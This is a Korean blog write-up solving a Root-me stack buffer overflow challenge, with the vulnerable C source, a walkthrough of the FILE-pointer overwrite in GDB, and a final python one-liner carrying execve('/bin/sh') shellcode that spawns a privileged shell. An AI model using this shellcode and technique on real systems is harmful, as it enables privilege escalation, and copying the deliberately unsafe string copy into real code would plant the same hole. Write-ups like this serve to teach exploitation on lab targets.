1. intro
2. code 및 분석
2.1. code
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFFER 512
struct Init
{
char username[128];
uid_t uid;
pid_t pid;
};
void cpstr(char *dst, const char *src)
{
for(; *src; src++, dst++)
{
*dst = *src;
}
*dst = 0;
}
void chomp(char *buff)
{
for(; *buff; buff++)
{
if(*buff == '\n' || *buff == '\r' || *buff == '\t')
{
*buff = 0;
break;
}
}
}
struct Init Init(char *filename)
{
FILE *file;
struct Init init;
char buff[BUFFER+1];
if((file = fopen(filename, "r")) == NULL)
{
perror("[-] fopen ");
exit(0);
}
memset(&init, 0, sizeof(struct Init));
init.pid = getpid();
init.uid = getuid();
while(fgets(buff, BUFFER, file) != NULL)
{
chomp(buff);
if(strncmp(buff, "USERNAME=", 9) == 0)
{
cpstr(init.username, buff+9);
}
}
fclose(file);
return init;
}
int main(int argc, char **argv)
{
struct Init init;
if(argc != 2)
{
printf("Usage : %s <config_file>\n", argv[0]);
exit(0);
}
init = Init(argv[1]);
printf("[+] Runing the program with username %s, uid %d and pid %d.\n", init.username, init.uid, init.pid);
return 0;
}
2.2. 분석
2.2.1. main
init 구조체를 선언한다.
해당 구조체는 128 bytes의 username 변수와 uid, pid 변수를 가지고 있다.
만일 인자가 2가 아니면 종료하고,
맞다면 init 함수를 argv[1]과 함께 실행 후 username, uid, pid를 출력하고 종료한다.
2.2.2. init
file 구조체, init 구조체, buff 변수를 선언하고
전달받은 argv[1]을 filename 변수로 파일을 연다.
이후 init 구조체를 초기화하고
getpid, getuid를 통해 init 구조체의 pid, uid 변수에 넣는다.
fgets 함수를 통해 buff 변수에 BUFFER 크기 즉 512 bytes 만큼 file에서 읽어들이며,
buff 변수를 인자로 chomp 함수를 실행한 뒤
buff 변수에 USERNAME= 문자열이 있으면 init 구조체의 username 변수와 buff+9 주소를 인자로 cpstr를 실행한 뒤
파일을 닫고 main 함수로 return 한다.
2.2.3. chomp
buff 변수가 null이 아닌 동안 buff 변수의 주소를 1씩 더하고 변수 값이 \n, \r, \t인 경우 null 으로 변경한 뒤 종료한다.
2.2.4. cpstr
username 변수의 주소를 dst 변수로, buff+9 주소를 src 변수로 인자를 사용하며,
src 값이 null이 아닌 동안 src와 dst 주소를 1씩 더하며 dst 주소에 src 주소의 값을 넣고
src 값이 null 즉 마지막 값이면 dst 값도 null을 넣어준다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
buff 변수에는 총 512 bytes의 값을 받아들일 수 있지만, username 변수의 크기는 128 bytes이며, 이에 cpstr 함수에서 overflow가 발생한다.
3.2. 공격 준비
문제는 Init 함수의 overwrite된 값 중 file pointer인데, buff 변수를 가득 채워버리면 FILE 구조체의 file 변수도 덮어씌우게 되고, 이는 fgets 함수에서 file의 내용을 가져오려할텐데 여기서 오류가 발생한다.
대략 아래와 같으며 \x90\x90\x90\x90 위치가 file 변수의 위치가 된다.
app-systeme-ch10@challenge02:~$ echo `python -c 'print "USERNAME=" + "A"*(128 + 8) + "\x90"*4 + "BBBB"*3'` > /tmp/wyv
...
$esi : 0x90909090
...
→ 0xb7e5122b <fgets+43> mov (%esi), %ecx
...
[#0] Id 1, Name: "ch10", stopped 0xb7e5122b in _IO_fgets (), reason: SIGSEGV
즉, file 변수가 적절해야 하기에 fake FILE 구조체를 만들어줘서 원하는 함수를 실행시키면 되겠다.
정상적인 상황일때 file 변수의 위치를 확인하면 아래와 같이 $ebp - 0x1c 위치의 값이며,
이는 0x804b160임을 알 수 있다.
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x456
$ebx : 0x0804a000 → 0x08049f14 → <_DYNAMIC+0> add %eax, (%eax)
$ecx : 0x7c
$edx : 0xbffff9bc → 0x0804b160 → 0xfbad2488
$esp : 0xbffff728 → 0x0804b160 → 0xfbad2488
$ebp : 0xbffff9d8 → 0xbffffb28 → 0x00000000
$esi : 0xb7fc3000 → 0x001d7d8c
$edi : 0x0
$eip : 0x08048740 → 0x00020068 ("h"?)
$eflags: [zero carry parity ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0073 $ss: 0x007b $ds: 0x007b $es: 0x007b $fs: 0x0000 $gs: 0x0033
──────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xbffff728│+0x0000: 0x0804b160 → 0xfbad2488 ← $esp
0xbffff72c│+0x0004: 0x080486e8 → <Init+119> mov %eax, -0x24(%ebp)
0xbffff730│+0x0008: 0x00000003
0xbffff734│+0x000c: 0x00000000
0xbffff738│+0x0010: 0xb7fff000 → 0x00026f34
0xbffff73c│+0x0014: 0xb7df8d04 → 0x72647800
0xbffff740│+0x0018: 0xb7def012 → 0x2dd76967
0xbffff744│+0x001c: 0xb7defde4 → 0x0000348e
────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8048737 <Init+198> add $0x10, %esp
0x804873a <Init+201> sub $0x4, %esp
0x804873d <Init+204> pushl -0x1c(%ebp)
→ 0x8048740 <Init+207> push $0x200
0x8048745 <Init+212> lea -0x2a5(%ebp), %eax
0x804874b <Init+218> push %eax
0x804874c <Init+219> call 0x8048430 <fgets@plt>
해당 위치의 값을 보면 아래와 같고 IO_FILE 구조체의 형식임을 알 수 있다.
gef➤ x/400wx 0x0804b160
0x804b160: 0xfbad2488 0x0804b362 0x0804b362 0x0804b2c0
0x804b170: 0x0804b2c0 0x0804b2c0 0x0804b2c0 0x0804b2c0
0x804b180: 0x0804c2c0 0x00000000 0x00000000 0x00000000
0x804b190: 0x00000000 0xb7fc3ce0 0x00000003 0x00000000
0x804b1a0: 0x00000000 0x00000000 0x0804b1f8 0xffffffff
0x804b1b0: 0xffffffff 0x00000000 0x0804b204 0x00000000
0x804b1c0: 0x00000000 0x00000000 0xffffffff 0x00000000
0x804b1d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b1e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b1f0: 0x00000000 0xb7fc1880 0x00000000 0x00000000
...
gef➤ p *(struct _IO_FILE_plus *) 0x804b160
$3 = {
file = {
_flags = 0xfbad2488,
_IO_read_ptr = 0x804b352 "",
_IO_read_end = 0x804b352 "",
_IO_read_base = 0x804b2c0 "USERNAME=", 'A' <repeats 136 times>, "\n",
_IO_write_base = 0x804b2c0 "USERNAME=", 'A' <repeats 136 times>, "\n",
_IO_write_ptr = 0x804b2c0 "USERNAME=", 'A' <repeats 136 times>, "\n",
_IO_write_end = 0x804b2c0 "USERNAME=", 'A' <repeats 136 times>, "\n",
_IO_buf_base = 0x804b2c0 "USERNAME=", 'A' <repeats 136 times>, "\n",
_IO_buf_end = 0x804c2c0 "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0xb7fc3ce0 <_IO_2_1_stderr_>,
_fileno = 0x3,
_flags2 = 0x0,
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x804b1f8,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x804b204,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 39 times>
},
vtable = 0xb7fc1880 <_IO_file_jumps>
}
현재 null 값을 넣지 못하기에 기존의 file 변수의 주소를 다시 넣어주고 이 부분을 넘어가자.
4. exploit
솔직히 많이 야매(?)로 풀었다.
fgets 함수에서 계속 데이터가 꼬이기에 한칸 한칸 넘어가며 그 값들을 맞춰줬다.
app-systeme-ch10@challenge02:~$ echo `python -c 'print "USERNAME=" + "A"*(128 + 8 - 34) + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80" + "\x60\xb1\x04\x08" + "\x01\xa0\x04\x08"*6 + "\x90\xb4\x04\x08" + "\x10\xb4\x04\x08" + "\x10\xb4\x04\x08"'` > /tmp/wyv
pp-systeme-ch10@challenge02:~$ ./ch10 /tmp/wyv
$ id
uid=1210(app-systeme-ch10-cracked) gid=1110(app-systeme-ch10) groups=1110(app-systeme-ch10),100(users)
$ cat .passwd
#---------- 플래그는 삭제
다른 write up 들을 보아도 file pointer에 대한 overwrite에 의해 restore 해줘야 풀린다고 되어있다.
접근 방식은 맞지만 원리 이해를 못하니 조금 답답하게 풀긴 했다.
'Wargame > Root me' 카테고리의 다른 글
[App-system] ELF x86 - Stack buffer overflow - ret2dl_resolve (4) | 2022.11.11 |
---|---|
[App system] ELF x64 - Stack buffer overflow - advanced (0) | 2022.10.26 |
[App-system] ELF x86 - Stack buffer and integer overflow (0) | 2022.10.22 |
[App-system] ELF x86 - Stack buffer overflow - C++ vtables (0) | 2022.10.21 |
[Cracking] ELF C++ - 0 protection (0) | 2022.07.15 |